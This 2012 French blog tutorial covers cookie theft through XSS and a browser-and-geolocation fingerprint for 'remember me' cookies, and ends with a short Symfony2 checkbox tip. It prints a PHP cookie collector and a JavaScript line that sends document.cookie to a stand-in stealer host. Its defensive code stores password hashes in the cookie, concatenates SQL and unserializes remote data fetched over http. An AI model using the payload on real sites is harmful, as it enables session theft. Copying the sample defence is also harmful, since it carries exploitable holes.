Stealing cookies, c'est-à-dire les données en danger

mieux protéger une application internet

Ce site ne sera plus alimenté de contenu après août 2014. Tous les nouveaux articles seront redigés pour www.waitingforcode.com
Malgré l'arrivée en douce des web SQL, cookies restent des éléments qui stockent des données souvent sensibles. D'où il est très important d'éviter qu'ils soient volés. En anglais on parle de l'attaque "stealing cookies" qui consiste à récupérer les informations liées au cookies de la victime et les exploiter.

Dans la première partie d'article on verra quels sont les moyens d'attaque. Ensuite on passera au chapitre consacrée à la protection. L'use case présenté concernera la sécurisation d'un système d'auto-connexion, communément connu sous anglicisme "remember me".

Comment voler un cookie ?
La méthode utilisée le plus souvent est liée aux failles XSS permettant d'inclure le code JavaScript sur la page. Cette solution nécessite beaucoup de travail en amont consistant à détecter les sites vulnérables. Une fois mise en place, en très peu de temps elle peut ramener une très grande quantité des informations.

Pour procéder à cette solution l'attaquant aura besoin de créer sur son serveur une page qui va récupérer les informations prévenants du site de la victime. Le script d'interception peut se présenter ainsi :


$cookie = urldecode($_GET['c']);
file_put_contents(__DIR__.'/cookies.txt', $cookie);


Le code malicieux à injecter peut se résumer à cette ligne :

location.href = "http://stealer_page.com/get_cookie.php?c="+document.cookie;


Dans ce cas l'internaute sera redirigé vers la page stealer_page.com/get_cookie.php avec, comme paramètre, la chaîne de caractères contenant le cookie.

Une autre façon d'attaquer se base sur un sniffer (par exemple tcpdump, ngrep, wifizoo) qui permet d'espionner les paquets envoyés sur le réseau. Grâce à ces outils et une mauvaise sécurisation du réseau l'attaquant peut pratiquement sans aucun effort capter toutes les informations dont il a besoin.

Comment se protéger contre cookie stealing ?
Dans notre exemple l'application va utiliser le système d'auto-connexion pour gérer l'accès à des parties réservées aux utilisateurs connectés. Pour ce faire, elle émettra un cookie contenant le hash composé du mot de passe et du login :


setcookie("remMe", sha1($login)."&".sha1($password), 11111110);


Comment cette application pourrait se protéger contre le vol de ce cookie ? La première mesure à prendre est rajout d'une information propre à l'utilisateur connecté. Dans notre base de données on rajoutera une nouvelle table qui s’appellera user_info .


CREATE TABLE IF NOT EXISTS user_info (
cookie_id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
users_user_id INT(11) NOT NULL,
uniq_ui VARCHAR(255) NOT NULL,
ident_value VARCHAR(255) NOT NULL,
INDEX(users_user_id)
) ENGINE=InnoDB;
ALTER TABLE user_info ADD FOREIGN KEY (users_user_id) REFERENCES users (user_id) ON DELETE CASCADE ;


Maintenant on rajoutera dans notre application un bout de code qui insérera les informations dans la table user_info :


$value = sha1($login)."&".sha1($password);
$browser = get_browser();
$signature = sha1($browser['platform'].$browser['beta'].$browser['browser']);
mysql_query("INSERT INTO user_info (users_user_id, uniq_ui, ident_value) VALUES ($userId, '".$signature."', '".$value."')");
$mId = mysql_insert_id();
setcookie("remMe", $value, 11111110);


Maintenant, avant d'auto-identifier l'internaute, on vérifiera si la signature générée précédemment est égale aux informations sur le navigateur de l'utilisateur. Cette solution a cependant une limitation. Quand l'internaute va mettre à jour son navigateur, elle ne sera plus valide. Ensuite il est toujours possible que l'attaquant utilise le même environnement que la victime.

Un niveau supplémentaire de protection peut être la géo-validation. Grâce à elle on peut voir si l'internaute se connecte du même endroit. Si ce n'est pas le cas, il peut s'agir d'une utilisation frauduleuse de son cookie d'auto-authentification. Pour notre géo-localisation on utilisera le plugin mis à disposition sur le site http://www.geoplugin.com. Le code entier de protection peut se présenter comme ici :


// remember me action, file remMe.php
$value = sha1($login)."&".sha1($password);
$signature = makeSignature();
mysql_query("INSERT INTO user_info (users_user_id, uniq_ui, ident_value) VALUES ($userId, '".$signature."', '".$value."')");
$mId = mysql_insert_id();
setcookie("remMe", $value, 11111110);

// remember me - auto login, file autoLogin.php
// look for user - do not forget to salt the password in the cookie
$stmt = $db->prepare("SELECT * FROM user_info WHERE ident_value = :cookieValue");
$stmt->bindParam(':cookieValue', $_COOKIE['remMe'], PDO::PARAM_STR, 255);
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_ASSOC);
if($result['uniq_ui'] == makeSignature())
{
echo 'Auto authenticated correctly';
}
else
{
// remove remMe cookie, logger the event and redirect to login page
setcookie ("remMe", "", time() - 3600);
Logger::log("Error in auto authentication occured.");
Header("Location: login.php");
}

// external function to make the signature, file makeSignature.php
function makeSignature()
{
$userInfo = unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip='.$_SERVER['REMOTE_ADDR']));
$browser = get_browser();
return sha1($browser['platform'].$browser['beta'].$browser['browser'].$userInfo['geoplugin_latitude'].$userInfo['geoplugin_longitude']);
}


Comme on a pu le constater, la protection d'un compte contre les cookies volés n'est pas une tâche simple. Surtout, elle n'est pas sûre à 100%. D'où l'importance de bien protéger l'application web contre les failles XSS qui pourraient rendre l'attaque stealing cookies plus qu'évident.

L'article écrit en rythme de:

Slaï - A l'abri
Bartosz KONIECZNY 22-01-2012 17:28 sécurité des applications web
Un conseil Symfony2

Problème avec les valeurs par défaut pour un champ type checkbox ?

La gestion des formulaires sous Symfony2 correspond parfaitement au slogan de jQuery "write less, do more". En effet, il suffit de déterminer les validateurs une fois et après seulement les adapter en fonction du groupe du formulaire. Egalement la définition des champs est très intuitive. La récupération des données saisies, en cas d'une erreur de validation, est aussi automatique. Cependant, il se peut que vous renctonreriez un problème avec les champs du type checkbox. Supposons, qu'on veut construire un checkbox qui prendra pour valeur des chiffres (integers) correspondant aux identifiants aux apparements recherchés (1 pièce, 2 pièces, 3 pièces etc.) :

protected static $types = array(1 => '1 room', 2 => '2 rooms', 3 => '3 rooms');
Après une validation incorrecte, on retourne sur la page avec le formulaire pré-rempli. Pour être sûr que la liste des checkboxes va avoir les champs pré-cochés (par exemple 1 room et 3 rooms), il faut s'assurer que les types des valeurs sauvegardées sont égales à celles de la variable statique $types. Souvent il faut faire une boucle pour régler un éventuel problème avec les valeurs pré-cochés dans multiple checkboxes sous Symfony2 :
    foreach($values as $v => $val)
    {
      $vals[] = (int)$val;
    }